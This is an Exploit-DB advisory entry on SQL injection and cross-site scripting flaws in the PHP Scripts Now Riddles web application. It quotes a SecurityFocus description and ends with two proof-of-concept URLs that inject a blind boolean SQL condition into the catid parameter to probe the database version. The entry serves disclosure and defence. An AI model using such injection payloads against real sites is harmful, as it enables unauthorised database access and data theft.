PHP Scripts Now Riddles - '/riddles/list.php?catid' SQL Injection

EDB-ID:

34903


Author:

Moudi

Type:

webapps


Platform:

PHP

Date:

2009-08-20


source: https://www.securityfocus.com/bid/44309/info
 
PHP Scripts Now Riddles is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=4 FALSE